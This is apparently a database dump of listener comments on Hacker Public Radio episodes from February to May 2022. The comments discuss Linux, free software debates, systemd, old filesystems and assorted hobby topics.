(3363,3472,'2022-02-17 21:23:34','Stache_AF','Thank you','Your podcast gave me the idea to do the same for my state\'s daily COVID updates. I was able to find the API info and break it out so I could extract my state\'s, county\'s, and zip code\'s respective numbers so I don\'t have to click through several interactive maps.','2022-02-17 21:25:30'),
(3364,3534,'2022-02-18 18:34:53','Aaronb','At 66 Years old. . . .','I bought one about 4 years ago. I\'m surprised how much I use it. Here is a nice youtube video that show how even cheap ebay versions of electronic ones are great.','2022-02-18 20:33:57'),
(3365,3534,'2022-02-18 18:36:35','Aaronb','sorry forgot the Link','https://youtu.be/fKSSY1gzCEs','2022-02-18 20:33:57'),
(3366,3527,'2022-02-21 01:27:29','ClaudioM','Re; PATA and Netbooks','I hear ya on extending the lives of these devices nowadays, but with OpenBSD and Fluxbox, along with the SSD and adapter, it\'s surprisingly useful! Firefox won\'t build on OpenBSD/x86 (it segfaults since it needs more memory) so they won\'t be including it any longer. SeaMonkey is still available, but not sure for how much longer.','2022-02-21 20:16:29'),
(3367,3523,'2022-02-21 16:20:16','LinuxMintXFCE','Compose','Thank you very much. I\'ve been working on learning languages with DuoLingo but the special characters I\'ve ignored because I could not enter them easily. My notes with vim were correct because I could easily map keys. But I had no idea how to do it with linux in general without entering a bunch of keys that sometimes conflicted with the app.\r\n\r\nSo all I had to do was:\r\n1. Settings\r\n1.1. Keyboard\r\n1.1.1. Select Layout tab\r\n1.1.1.1. Slide off \"Use system defaults\"\r\n1.1.1.2. Under \"Compose key\" select \"right alt\"\r\n1.1.1.3. close everything under settings\r\n2. vi ~/.XCompose (A file I did not have.)\r\n2.1. Modify it as shown and save \r\nhttps://wiki.archlinux.org/title/Xorg/Keyboard_configuration#Configuring_compose_key\r\n3. Reboot the system and done!\r\n\r\nA todo might be to add special keys to do repetitive tasks...','2022-02-21 20:16:29'),
(3368,3228,'2022-02-21 16:28:53','Windigo','Exactly what I needed','This episode was the explanation of YAML that I needed.\r\n\r\nI know it\'s been years since it aired, but I use the fundamentals explained here every single time I open a YAML file.','2022-02-21 20:16:29'),
(3369,3536,'2022-02-22 19:30:38','Zen_floater2','I have the Google GO pro chromebook, had the same problems','I assume it was a Russian attack at first.  It all happened after one of Google\'s updates.  I then just unplugged the chrome book and powered it off.  Then I started the chrome book up again and plugged it into a power source and the entire thing was resolved.  \r\nI also notice that Slackware 15 had locked up twice on me after my 1st boot on a different laptop and the same kind of thing had to be done over there too.','2022-02-22 20:44:15'),
(3370,3538,'2022-02-27 18:55:01','Random_Linux_User','Re hpr3538 :: Installing the Tenacity audio editor','tenacity is an almost dead project. If you take a look at their repository closely, you\'ll see that all that is happening is rebranding. Very little has happened there in the past few months. Audacity has been a work of two guys (Paul Licameli &amp; James Crook) and without them I don\'t see anyone is capable of adding new features and improvements to it. After all it has been their brainchild, their labor of love.\r\nTelemetry is everywhere. From KDE to Firefox. Unless and until it\'s stealthy and doesn\'t give you options to opt-out, it\'s not that bad.','2022-02-27 19:51:19'),
(3371,3541,'2022-02-28 14:07:36','publius','\"Have\" constructions','For most speakers of Western European languages, whether more (eg German) or less (eg English) inflected, Latin serves as the paradigm for inflected languages. Of course it\'s not anything like as commonly taught in schools anymore, but it\'s still there in the background, serving as the model against which the grammar of the vernacular has traditionally been constructed. For the Sclavonic languages, such as Russian, the paradigm is Classical Greek.\r\n\r\nIn Latin, there is of course a verb \"habere\" meaning \"to have\" (as well as \"tenere\", \"to hold\"), but it is common to use the copula or being-verb with the dative. In other words, \"I have it\" or \"it belongs to me\" is often expressed with \"id mihi est\", quasi-literally translated into English as \"it to-me is\".\r\n\r\nInterestingly, I have read that, in many languages, whatever \"have\" constructions exist tend to be taken over by the verb meaning \"hold\" or \"grasp\". An obvious example is the way that, in Spanish for example, the verb derived from \"tenere\" is used to mean \"hold\", while the Latin \"habere\" has essentially vanished. English cognates such as \"tenure\", \"tenancy\", and so on also show a movement from the concrete to the abstract.','2022-02-28 21:22:59'),
(3372,3515,'2022-03-03 18:11:04','Archer72','On my list','Hi Ken, this subject is on my list to try.','2022-03-04 20:54:57'),
(3373,1743,'2022-03-05 15:50:52','Ken Fallon','Thank you Lord D','Although he has passed, his wisdom continues to guide us.','2022-03-05 19:29:20'),
(3374,3496,'2022-03-09 19:25:17','dnt','I use it','Thanks for this! I used this for my latest episode. Still had to go to Audacity and edit it, largely to remove a ton of ums. I also then created a new script.txt in another folder, just to record a couple of bits to insert, so that it would sound the same as the rest of it. Will try to get better at writing the script and avoiding the ums so that it can go straight to HPR. Great stuff!\r\n\r\nFor listeners of the community news, since this show, norrist has put this in PyPI, so even easier to get it. Try it out!','2022-03-09 19:42:53'),
(3375,3546,'2022-03-09 19:46:26','dnt','Thank you','Thank you for generously doing these shows. It makes a difference to contributors, to the extent that it confirms to us that we exist. I look forward to listening.\r\n\r\nAlso, it is important to hear feedback. For example, after listening to this, I have cancelled plans to do to that Wikipedia article with all the porridge, linked under that monstrosity of a show about porridge, what Klaatu has done in his own podcast to another list of interest to hackers. Alas, it was going to cover a lot of slots. On to something else, then.','2022-03-09 20:18:42'),
(3376,3534,'2022-03-10 14:36:35','Michael','Unit missmatch','Hi Ken,\r\n\r\nnice show!\r\nI assume your pencil is 7.5mm in diameter, not cm. Just stating the obvious, because noone else did till now :-)\r\n\r\nRegards,\r\nMichael','2022-03-10 22:43:38'),
(3377,3461,'2022-03-12 12:28:25','Bentley Sorsdahl','The TTS voice','I like very much the outro voice you are using, can you tell me what you use to generate it ? I found HPR just a short time ago and have been enjoying very much listening to all the shows.  Have even started thinking about answering the call and recording an intro myself .. not sure 100% yet.\r\n\r\nkeep up all the great work thanks for your time \r\n\r\n Bentley','2022-03-14 21:39:53'),
(3378,3553,'2022-03-16 15:52:05','Trey','Great Intro','Love the automated voice intro for this one.  Much easier to understand when listening at 1.5x speed.','2022-03-17 11:29:25'),
(3379,3553,'2022-03-16 15:58:11','Trey','Important topic','SGoTT, this is a very important topic.  It is challenging to balance freedom of expression among a diverse group of users with different social and moral frameworks.  We often forget that, in the United States, government supports freedom of public speech (also within certain guidelines), but organizations may impose their own restrictions on the platforms they own/administer.  Their choices are then influenced by their customers\' choices to continue to do business with them or leave.\r\n\r\nThank you for sharing, and I look forward to your next amazing podcast!','2022-03-17 11:29:26'),
(3380,3553,'2022-03-17 11:02:21','Beeza','Free Speech','Hi \"Some Guy\"\r\n\r\nA great episode, raising excellent points, but I feel the crux of the issues you raise is courtesy and dignity rather than free speech per se.\r\n\r\nFree speech generally refers to the ideas you are expressing. How you express them is where courtesy comes in. There is a world of difference  between \"If you look at the online manuals you should find the information that will solve your problem\" and \"RTFM!\"\r\n\r\nYou\'ll probably be aware of the controversy about Richard Stallman\'s ejection from the FSF and subsequent readmission. This was a result of his expressing what most people felt were distasteful ideas. Very little of what followed was criticism of RMS\' views based on rational, level-headed argument. It was all about personal insult and trying to shut RMS down, saying he shouldn\'t have expressed his views. There was no respect of his right of free speech. Much as I similarly rejected most of what RMS had said, the episode demonstrated to me that even in the world of \"free culture\" that we claim to support the adherence to the right of true free speech is as tenuous and conditional as it is in wider society.\r\n\r\nI have asked many questions on free software forums over the years and generally found nothing but help and courtesy. However, every now and then I\'ve come across respondents whose primary aim is to show how clever they are and to belittle my relative lack of knowledge. They are the people who give FLOSS a bad image. On the plus side, though, in the same way as you, me and everyone else come to realise that these jerks don\'t represent the majority I think most newbies will as well, provided they don\'t encounter one on their first ever request for help.','2022-03-17 19:18:44'),
(3381,3553,'2022-03-17 20:41:04','Ken Fallon','My thoughts','Hi SGoTI,\r\n\r\nThanks for the thought provoking show. A few observations if I may.\r\n\r\nThe show focused on the concept of freedom of speech from a US centric perspective. It\'s important to remember that other (democratic) countries have their own laws\r\nhttps://en.wikipedia.org/wiki/Freedom_of_speech_by_country\r\n\r\nHaving time to consider your points, I feel it\'s fair to say that the Linux Foundation should be running Linux on their computers. Would Steve Jobs be seen in front of a Windows computer, or Bill Gates a Mac ? It\'s\' just bad business to not run your own products.\r\n\r\nFurthermore the \"Shur Mac is Unix\" ideology is dangerous and can be shown to be damaging to the community by focusing people on convenience over moral values. Case in point. Despite the fact that so many \"Linux\" developers run Mac Books, it is still one of the most under supported platforms out there. I tried to get Linux to run on a MacBook with the same specs and release date as my Dell. While there were many issues with the Dell that have been fixed over the years, it\'s still not possible to get a MacBook to run Linux. This is a direct quote from a developer I asked for help. \"I actually gave up on Fedora on my macbook, too many things are broken (wifi, audio, webcam).\"\r\n\r\nI also do not agree that we should welcome developers of closed or even open core applications. This is akin to McDonalds expecting a warm welcome in a vegan club because they put lettuces on a Big Mac.\r\n\r\nDevelopers and the community have a right to a belief in Free Libre and Open Source software, the Commons and related views. It is valid that they should not be welcoming with open arms developments that run against that belief. Provided of course that it is done with courtesy.','2022-03-17 20:55:25'),
(3382,3533,'2022-03-18 05:08:44','Windigo','Very informative','This episode has revealed that, although I had heard the term \"porridge\" before, I never realized how many of my favorite foods it encompassed. Excellent!\r\n\r\nAlso, thank you for the feedback on the \"Opposing views\" episode, it is much appreciated.','2022-03-18 19:16:54'),
(3383,3551,'2022-03-20 20:26:20','Some Guy On The Internet','Bash for the Win.','Hello Dave, How are you? I love the show; bash can be very simple or crazy complex depending on your needs. I haven&rsquo;t used `eval` yet but now I have a reason to use it. Piping text from a file into a script to create commands sounds fun (and scary), so I&rsquo;ll be experimenting on a Raspberry Pi; so I don&rsquo;t end the night crying while restoring from a backup, again. Thanks for the show!','2022-03-20 20:44:39'),
(3384,3551,'2022-03-21 17:14:44','Dave Morriss','Hi SGOTI','I appreciate the feedback. Yes, Bash has a lot of power and can be used for many things. \r\n\r\nYou are right, a Raspberry Pi is a great test bed; I use them often.\r\n\r\nI hope you found the show useful. Let us know if you find better ways of doing these types of things.\r\n\r\nBest wishes, Dave','2022-03-21 19:02:37'),
(3385,3553,'2022-03-22 19:16:33','jezra','the show','The Linux Foundation is a 501c6 non-profit trade association. Their purpose is to help their members use Linux to increase profits. The promotion of desktop Linux, is not a priority of the Foundation.\r\n\r\nThe steam deck will use Arch Linux because it is cheaper to use linux than it is to pay licensing fees for a proprietary OS. Using a high quality rolling release Linux is also cheaper than writing one\'s own OS. In this regard, Valve is standing on  the shoulders of the devs who have put decades of work into making Arch what it is today. The Arch community owes absolutely nothing to Valve; and without Linux, Valve wouldn\'t have a product to sell.','2022-03-22 19:23:46'),
(3386,3558,'2022-03-23 22:06:45','Some Guy On The Internet','Nicely done.','Thank you for the show. I&rsquo;ve never used Haskell but I have a book from &ldquo;Learn you a haskell&rdquo; (great site, love the sun image). So often podcast will recommend something but will not link to any resources.  You&rsquo;ve given us so much additional content we can use to learn more about this language. Thank you, and please do more shows on haskell (example. compiling code or testing/debugging your code).','2022-03-23 22:08:32'),
(3387,3558,'2022-03-24 08:12:52','tuturto','Good idea','Thanks for the idea Some Guy On The Internet. I do have an episode about testing in Haskell (http://hackerpublicradio.org/eps.php?id=2948). My debugging skills are non-existent, it\'s basically either staring at the code with a stern expression or sprinkling lots of prints all around the places I suspect might be faulty. Really should learn some basic debugging skills I think.','2022-03-24 23:04:08'),
(3388,3552,'2022-03-26 23:01:52','Some Guy On The Internet','Development on Pinetime','Are you developing apps for the Pine Time?  Are you planning any development of apps or system resources for the Pine Time? I like hearing about these devices but I don&rsquo;t know where to start if I purchased one; and what&rsquo;s the end game? Is it supposed to be for development only or can I one day replace my apple watch?  Good show, I&rsquo;d love to hear more about your work with the pine time.','2022-03-27 18:06:03'),
(3389,1780,'2022-03-27 18:06:30','elmussol','mistag','Tag should be GnuPG not GnuPGP.','2022-03-27 18:09:33'),
(3390,3565,'2022-03-28 13:38:07','Jeremiah Schroeder','Couldn\'t agree more','Hi timttmy,\r\n\r\nI couldn\'t agree with you more about the Bison 120 Jaw Crusher. The same thing happened to me - just outside warranty as well. \r\n\r\nLove the show !\r\n\r\nJer','2022-03-31 20:13:14'),
(3391,3565,'2022-03-28 13:44:48','K. Olin','Great show','Hi from Fredericksburg Quarry in the great state of Virginia\r\n\r\nYou forgot to say what pressure you needed to get the manifold up to before you applied the gasket cover. Also I was wondering who your supplier was for the hangrifts ? Mobicat are no longer supplying them (for the 100 at least). I can\'t seem to find them over on this side of the pond. \r\n\r\nAny help would be appreciated. Shipping State Side is not a problem.','2022-03-31 13:44:53'),
(3392,3565,'2022-03-28 15:04:42','Clayton Miner','This brings back memories','Hi Marshall\r\n\r\nI retired from the flintstone trade more than 20 years ago. It was great to hear the familiar sounds of a quarry again in the background. Was that a Pallmann Granulator that I heard five minutes in while you were working on the perforation grid ?\r\n\r\nYou don\'t know how lucky you are with these modern marvels. We mostly had Dodges where we worked, and even brand new they were a pain to maintain. Still those were a huge step up from the old Blake crusher the boss and his pa bought in Philly. Man we all hated that thing, especially five finger Fred. Even now they drag it out for every company picnic.\r\n\r\nIt was a right of passage for every new apprentice to get that back to life for day. \r\n\r\nGood times.\r\n\r\nThanks Again.\r\n\r\nClay.','2022-03-31 20:13:14'),
(3393,3557,'2022-03-31 01:29:25','Some Guy On The Internet','Thank you.','I&rsquo;ve always heard great things about thinkpads and Linux.  No one I&rsquo;ve heard ever shared a negative opinion about thinkpads; just the usual, &ldquo;It&rsquo;s built like a tank&rdquo; statements. Now that you&rsquo;ve spoken the truth about a thinkpad, will you go into hiding?  I&rsquo;m joking, but thank you for the truth that is difficult to tell.','2022-03-31 20:13:15'),
(3394,3563,'2022-03-31 03:22:24','tuturto','Very interesting','This was very interesting to listen to. So interesting actually, that I\'m wondering if it would be good idea to try roasting at home.','2022-03-31 20:13:15'),
(3395,3564,'2022-03-31 12:24:00','Some Guy On The Internet','Much Respect','I never thought about the work that goes into managing show notes and images other host submit.\r\nWow, working to keep others anonymous is very admirable of you.\r\nA show to educate everyone on managing our data; excellent work.\r\nTHANK YOU VERY MUCH!','2022-03-31 20:13:15'),
(3396,3554,'2022-04-01 03:44:52','dnt','that motor','That banging motor thing (grassroots mechanic movement, in your shownotes) was pretty great, I had never seen anything like that. Thanks for sharing it!','2022-04-01 18:21:55'),
(3397,3564,'2022-04-01 11:55:04','ClaudioM','Thanks for the Application Reminder!','Big thanks for reminding me about this app. I actually used it yesterday to remove information from a picture I took for inclusion in a trouble ticket. Great little tool!','2022-04-01 18:21:55'),
(3398,3563,'2022-04-01 11:57:41','ClaudioM','Enjoyed this Episode while Brewing my Morning Coffee :-)','This was a great and informative episode. I was actually brewing my coffee that morning when listening in, and learned quite a bit about the different roasting methods. As of late, I do agree with you about dark roasts. I used to like them, but now I don\'t have a taste for them. It just tastes bitter and burned.','2022-04-01 18:21:55'),
(3399,3564,'2022-04-01 19:04:02','Xoke','My troubles with EXIF','We had people taking photos for profile at work.  Microsoft shop, so active directory / exchange etc.  If you took a photo with an apple device, it would always get the image sideways, but androids would not.  It looked like apples handle the rotation differently (e.g. they save the image whichever way, but keep exif data but android rotate the image to be \'up\' and save it)\r\n\r\nIf you\'re using windows, IrfanView has command line commands for rotating (and much much more) in the i_options.txt file.  That was how we fixed the issue\r\n\r\nI was also going to say what CW was but I see you figured that out :)  And CCW could be Counter ClockWise if using the American version.','2022-04-01 20:04:43'),
(3400,3565,'2022-04-02 04:22:35','Windigo','Thanks for the contribution','Thanks for the wonderfully informative episode! Another one to tuck into my list of favorites.\r\n\r\nAlso, I know we take episodes regardless of audio, but thanks so much for putting effort into getting such a high quality recording. It really made a world of difference.\r\n\r\nLooking forward to your next episode!','2022-04-02 19:14:29'),
(3401,3565,'2022-04-05 21:14:19','jezra','I started falling asleep','The sound of the rock crusher was lulling. I\'m now in the process of making an hour long loop to help me sleep at night.','2022-04-05 21:15:51'),
(3402,3378,'2022-04-06 16:29:17','Windigo','Congratulations!','I\'m glad to hear you\'re not at the mercy of satellites in geosynchronous orbit! I have mixed feelings about Starlink, but it certainly sounds like a viable internet option - and that\'s something that has been often promised and rarely delivered.\r\n\r\nViva La Dirt!','2022-04-06 19:30:57'),
(3403,3570,'2022-04-08 02:45:21','zen_floater2','Squirrel applause','Ahhh, the 1980\'s.  FAT and Assembler.  \r\nThis is exactly why we drank beer when we wrote code till 3 am.\r\nIt was a good program sir..','2022-04-08 18:29:22'),
(3404,3568,'2022-04-08 07:32:14','Some Guy On The Internet','Public Service Announcement','Friends dont let friends drive while doing maths.','2022-04-08 18:29:22'),
(3405,3570,'2022-04-08 15:43:33','Miguel','Good blast from the past','Man, just entering and he makes me feels old (I\'m old)\r\n\r\nThis is a very good one.\r\n\r\nComplete, clear and sufficiently simple explanation of how FAT works, understanding this old filesystems is a very good way to enter the new filesystems (which intend to solve many of the problems Ahuka mentions).\r\n\r\nAnd remember the DOS days is also very nice.\r\n\r\nThanks for the shows and the work of this community.\r\n\r\nGreetings from M&eacute;xico.\r\n\r\nExcuse my bad english, I learned from a TRS80 manual.','2022-04-08 18:29:23'),
(3406,3570,'2022-04-08 21:43:08','Kevin O\'Brien','Thank you','I\'m glad you enjoyed it. Your English is better than my Spanish at this point, but I am learning your language, and hope to visit Mexico. I am already planning a trip to Spain.\n','2022-04-08 14:47:16'),
(3407,3578,'2022-04-11 17:08:40','bittin','More Europe Centric','Here in Europe we have EDRI: https://edri.org/ and in Sweden DFRI for example, thats more European variants of EFF','2022-04-11 19:35:11'),
(3408,3571,'2022-04-12 22:19:19','kinghezy','Meatballs and such','I thought this episode was enjoyable. I then went to the back-catalog and listened to the opposing views on tattoos (http://hackerpublicradio.org/eps.php?id=3121) and alcohol (http://hackerpublicradio.org/eps.php?id=3251). Those are interesting with both Windigo and Mrs. Honeyhume.','2022-04-13 22:13:18'),
(3409,3572,'2022-04-13 05:18:20','Some Guy On The Internet','Thanks for the information.','I never looked into the details of m.2 SATA or NVMe. I buy the Western Digital m.2 SATA disk because they&rsquo;re fast and cheap. What do you think about using an NVMe disk, in a Type C enclosure, to run live USB sessions with persistence (like Nomad BSD).','2022-04-13 22:13:18'),
(3410,3570,'2022-04-13 05:25:20','Some Guy On The Internet','I\'m not old enough.','Was RAID available for MS-DOS? If so, could you perform a RAID 1 using floppy disks?','2022-04-13 22:13:19'),
(3411,3570,'2022-04-14 12:21:31','Kevin O\'Brien','RAID on DOS','I have to admit I never looked into it. When I was running DOS in the 1980s even getting a hard drive was something of a novelty.','2022-04-14 19:56:14'),
(3412,3574,'2022-04-14 20:49:01','Windigo','Enlightening episode','Thank you for the episode! I was completely unaware of these services, and found them highly interesting.','2022-04-14 20:51:34'),
(3413,3571,'2022-04-14 22:10:06','Windigo','Thanks','Glad you enjoyed them! There\'s many enjoyable episodes in the HPR backlog.\r\n\r\nI\'m looking forward to hearing your contribution to the HPR collection!','2022-04-15 18:03:16'),
(3414,3574,'2022-04-14 23:56:49','brian-in-ohio','good show','I really liked this episode, good insight into how audio production is done on an expert level. I\'d love to hear how Lee is connected to the project and maybe a how you got into audii stuff. I bet you Lee is a Forth guy!','2022-04-15 18:03:16'),
(3415,3575,'2022-04-15 13:03:50','Some Guy On The Internet','Declassified','These are the recordings, captured by the United Kingdom&rsquo;s National Crime Agency, in a 40 year investigation of infamous hacker Dave Morriss &amp; the Notorious Mr. X.  Some may argue we wasted millions (&pound; GBP) in man hours to capture this audio; we argue the knowledge of old English plumbing was worth it.\r\n\r\n(whispers to Dave and MrX) Do another one.','2022-04-15 18:03:16'),
(3416,3575,'2022-04-15 16:19:33','brian-in-ohio','show','Good to hear you guys are \"Still Game\";-)','2022-04-15 18:03:16'),
(3417,3564,'2022-04-16 12:05:04','Kevin O\'Brien','Orientation in Android','I have been processing a ton of photos from my RV trip, all taken with Android phones, and I get some with the wrong orientation. I can correct this in digikam, which is my collection management tool. When corrected, they stay correct after that.','2022-04-16 18:39:19'),
(3418,3534,'2022-04-16 12:38:43','Kevin O\'Brien','Taking me back','Back around 1969 I had a job working in a gage calibration lab. Gages are used in manufacturing to test the dimensions of pieces as they complete a step, and come in pairs of Go/NoGo. Gages allowed for very quick tests on the line by operators. Our lab had to verify that the gages were correct. We also calibrated vernier calipers with gage blocks. Also, I did not misspell gage. That is the correct spelling for this type of device.','2022-04-16 18:39:20'),
(3419,3559,'2022-04-18 13:01:47','clacke','The nitty-gritty of US non-profits','Cro says in the episode that a 501(c)(6) cannot accept donations.\r\n\r\nIt can, but unlike a 501(c)(3) the donation to a (6) is not tax deductible as a charitable donation.\r\n\r\nA more important difference is that a 501(c)(3) is required by law to work for the public good whereas a 501(c)(6) is required to work for the good of its members.','2022-04-18 19:10:20'),
(3420,3559,'2022-04-18 13:10:44','clacke','Re: The nitty-gritty of US non-profits','More in-depth discussion about the differences between public charities (501(c)(3)) and trade associations (501(c)(6)), by Bradley Kuhn who now works for and has previously founded and managed the Software Freedom Conservancy:\r\n\r\nhttps://sfconservancy.org/blog/2013/dec/05/non-profit-home/','2022-04-18 19:10:20'),
(3421,3576,'2022-04-18 22:04:03','Some Guy On The Internet','Yikes!','I agree with you on some things like, not having time to tinker on a production machine, it just needs to work. However, I wouldn&rsquo;t broad brush the Linux community as &ldquo;bearded geeks&rdquo; living in a trailer because they choose something different. I&rsquo;ll do a show as a proper response but I&rsquo;m happy you&rsquo;re enjoying Ubuntu 22.04.','2022-04-18 22:06:00'),
(3422,3576,'2022-04-19 16:34:20','Zen_floater2','Your review','Hi.  I\'m a 40 plus year veteran of commercial software development, now retired.\r\nI actually started writing commercial software in \r\n1966.  Open standards are our new standard.\r\nIt\'s taken me 30 years to accept this fact.\r\nI found your opinions appalling and believe you should just return to using windows as your only operating system.  While I clearly understand your needs, I see no future for the roll over and play dead attitude you\'ve taken. \r\nI also am a bearded person who lives in the woods and has a shotgun.  And I use openbsd and Slackware on any cheap, low powered laptop I find in dumpsters.','2022-04-19 21:10:12'),
(3423,3577,'2022-04-19 18:55:39','brian-in-ohio','welcome','Great show. Looking forward to any shows on any of the topics mentioned.','2022-04-19 21:10:12'),
(3424,3577,'2022-04-19 19:11:36','mcnalu','Welcome','Welcome aboard Sarah. Nice introduction. I look forward to hearing shows on the various topics you mentioned. And I\'ll add your Apple experience to my arsenal of anecdotes for my Apple loving friend.','2022-04-19 21:10:12'),
(3425,3577,'2022-04-22 23:44:49','Lurking Prion','Welcome!','Always good to hear from other cyber security evangelists! Look forward to hearing more.','2022-04-23 21:28:31'),
(3426,3578,'2022-04-24 01:58:21','zen_floater2','centralized federal power','Did you just say that your in-favor of giving the federal government more control of our lives after knowing the absolute mess they\'ve created on social media???  what??? perhaps I mis-understood that comment you made on this subject.','2022-04-24 18:43:26'),
(3427,3574,'2022-04-24 15:59:45','elmussol','elderly relatives et al','The Talking Newspaper arriving weekly was a highlight for a couple of my Great Aunts when I was growing up in the \'70s in the UK. I know that groups of both sighted and not folks organized \"Listening Coffee Mornings\" through church at that time.\r\n\r\nIt\'s interesting to think that then, Talking Books were a thing primarily for visually-impared people only, whereas now, audio books are a thing for everyone. Audible (and the rest) owe their existence to standing on the shoulders of giants.\r\n\r\nA great episode that reminded me that people do good stuff for other people for reasons other than financial reward.','2022-04-24 18:43:27'),
(3428,3574,'2022-04-24 16:09:26','elmussol','addendum','Forgot to mention that it should be said that the local paper in question was the (still extant) Clitheroe Advertiser &amp; Times.','2022-04-24 18:43:27'),
(3429,3577,'2022-04-24 18:47:47','Kevin O\'Brien','Great show','You sound like someone I want to hear more from. And as a librarian, are you by chance familiar with the podcast Welcome to Night Vale?','2022-04-24 19:50:40'),
(3430,3577,'2022-04-25 17:28:14','Sarah','@Kevin O\'Brien','Ha - not only am I familiar with it, I\'ve been to a live showing. Do not go into the dog park. ;-)','2022-04-25 18:04:40'),
(3431,2881,'2022-04-25 17:43:01','Archer72','And now I know, and will forget again','Until the next time.','2022-04-25 18:04:40'),
(3432,3577,'2022-04-25 21:41:38','Kevin O\'Brien','@Sarah','All hail the glow cloud!','2022-04-25 21:54:09'),
(3433,3576,'2022-04-28 15:11:01','Ken Fallon','How do you pay for software ?','Hi Knightwise,\r\n\r\nWhile I enjoy your podcast, I must say your attitude seems to be a little selfish. You\'ve been around the community long enough to know that the development relies on people taking the time to report bugs. Yet you say \"I never report bugs ... the technology just needs to work for you. ... Cannot afford to spend hours and hours tinkering...\". How do you expect the bug Mate may/may not have with BlueTooth on Lenovo  to be magically fixed if they don\'t know it\'s broken ?\r\n\r\nGiven you use \"Linux as a daily driver\", you have your own business, you pay for OneDrive, and you can happily pay &euro;50 for closed software, I wonder do you also subscribe to Ubuntu ? \r\n\r\nhttps://ubuntu.com/advantage/subscribe\r\n1x UA Infrastructure - Essential (Desktop) $25.00 / year \r\n\r\nAs for not worrying about the desktop, as all apps are in the cloud let me point you to:\r\n\r\n- https://killedbygoogle.com/\r\n- https://killedbymicrosoft.nl/\r\n\r\nI\'m also around long enough to know that the more the merrier. Back in the day the \"too many ${software}\" argument was been leveled at XFCE and then the Raspberry Pi arrived and needed a Desktop. Now it\'s one of the most used environments out there.','2022-04-28 22:06:12'),
(3434,3592,'2022-04-30 20:14:30','Robert','Fine show until ...','Was enjoying the show until the rant about \"The year of the linux desktop\". \r\n\r\nDo you think chasing \"the major platforms\" will magically bring the year of the Linux desktop because it won\'t. What it does is it provides ammunition for employers to insist employees can use Microsoft or Apple.\r\n\r\nWhat is the problem here with non mainstream distros that gets you so annoyed ? So what if they don\'t run \"the major platforms\". They are not forcing you to run them - why do you not want them to exist so much ?\r\n\r\nMonoculture is bad in nature and it\'s bad in tech. Feel free to run what you want but stop lecturing everyone else about their choices.','2022-04-30 20:47:48'),
(3435,3585,'2022-05-04 16:08:12','Kevin O\'Brien','Open source vs. free software','I think it can be useful to distinguish between open source and free software when you address this issue. Free software respects the 4 freedoms as published by the FSF. And one thing I recall being discussed there is the idea that you cannot stop certain users, such as the military, from using free software. The GPL specifies the only requirements for legally using free software, and any user who respects those requirements is legally licensed to use the software.','2022-05-04 19:26:04'),
(3436,3588,'2022-05-04 17:42:53','cybergrue','Unix Philosophy','Your understanding of the Unix Philosophy is missing what many consider its most important caveat.  https://en.wikipedia.org/wiki/Unix_philosophy\r\nAs summarized by Salus, Unix is a collection of programs that each do one thing only and do it well.  System D is a grab-bag of lots of functionality and it does not do any of them particularly well, hence why people say that System D is not in the Unix Philosophy.\r\n\r\nI agree that the old style Init system had a lot of issues and needed to be replaces, however, I do not agree that System D is the solution.  I would have preferred a properly designed, layered and modular init system instead of the all-in-one solution  of System D. ie. a bare metal server used to run containers would have the same root level module but different application specific modules as a GUI based tablet.  system D was designed for GUI based systems, and is overkill/inappropriate for back-end servers running docker.\r\n\r\nAnyways, another good show, and stop selling yourself short, I think you are up to a double-digit number of listeners by now!','2022-05-04 19:26:04'),
(3437,3588,'2022-05-05 00:22:41','Clinton Roy','Debian systemd','I\'m writing this comment hot, so you may well cover this in the rest of the show.\r\n\r\nI think the major drama with debian and systemd is the murged /usr stuff, which, depending on who you ask is either an existential crises, or a mild wrinkle in package management.\r\n\r\nDebian has not switched over to systemd resolved yet either, not looking forward to that :)','2022-05-05 19:29:51'),
(3438,3585,'2022-05-05 07:09:42','Some Guy On The Internet','The freedom to Advertise.','Kevin O\'Brien, Thank you for your reply. I agree, Open Source and Freedom respecting software is usually a joint effort, but in this argument we can use more perspective. The &ldquo;Open Source&rdquo; is only one element, but the &ldquo;Free&rdquo; nature of the software and it&rsquo;s community must be considered when discussing the actions of community and the usage of It&rsquo;s software. If Companies, in the U.S. are considered people, respect and follow the Four Freedoms then they too should be able to promote their versions of the software; or do you disagree?','2022-05-05 19:29:51'),
(3439,3585,'2022-05-05 21:11:10','Kevin O\'Brien','Free Software','I\'m pretty basic on this. If they follow the 4 freedoms, it is free software. If it includes advertising, then someone else can fork it and remove the advertising, all perfectly legally.','2022-05-05 21:25:43'),
(3440,3574,'2022-05-09 16:15:14','elmussol','correction','@davemorris: To correct your comment on the Community News -- Clitheroe is in Lancashire not Yorkshire.','2022-05-09 18:42:38'),
(3441,3574,'2022-05-09 18:49:06','Dave Morriss','Clitheroe, LANCASHIRE!','Hi @elmussol,\r\n\r\nThanks for the correction.\r\n\r\nI\'m embarrassed to admit that I was a student in Manchester for about 5 years and then worked at Lancaster University another 5 or so (both in Lancashire, for the benefit of the non-English), and wasn\'t sure about the location of Clitheroe.\r\n\r\nNot a mistake I\'ll make again :-)','2022-05-09 18:50:37'),
(3442,3598,'2022-05-18 04:36:19','bittin','Audacious Winamp Skins','Hey!\r\n\r\nYou know you can change to Winamp like skin in Audacious to make it look more like XMMS in the Audacious Settings','2022-05-18 20:45:01'),
(3443,3598,'2022-05-18 06:14:06','linuxdaddy','32-bit linux','Great radio cast on Slackware and it\'s history, I got my first Slackware with a book and 2 cdrom disks at version 3.2 with kernel 2.0.29. The antiX linux distribution has a current 32-bit version as well.','2022-05-18 20:45:01'),
(3444,3597,'2022-05-18 16:39:36','Kevin O\'Brien','Great show','I loved the show, and I\'m looking forward to more. I was an IT Project Manager, and at one time I was working at a hospital where the IT department implicitly viewed its role as \"We are here to stop you from making mistakes\". Naturally, the rest of the hospital viewed them as the \"enemy\", and as a result I noticed that individual departments took to setting up their own servers outside of the IT department. So in effect the IT department was so focused on security that they achieved insecurity.','2022-05-18 20:45:01'),
(3445,3597,'2022-05-19 01:59:03','Lurking Prion','Thank you!','Thanks for the comments. It makes me sad every time I hear about IT Departments and/or Security teams doing things like that. We are supposed to be facilitators and enablers for the people who do make the money for the company. Thank you for listening and I think you will like the future shows I have planned.','2022-05-19 20:47:04'),
(3446,3588,'2022-05-19 16:47:36','brian-in-ohio','out of your depth','Its sad that you call your show as a call back to Linux in Laws.\r\nFabian Scherschel seemed to do a lot of research on the topics he discussed (and was funnier), that you didn\'t know what grub stand for shows your lack of preperation. You could have at least listened to Dann Washko\'s great series on bootloaders done on hpr and been better off.','2022-05-19 20:47:04'),
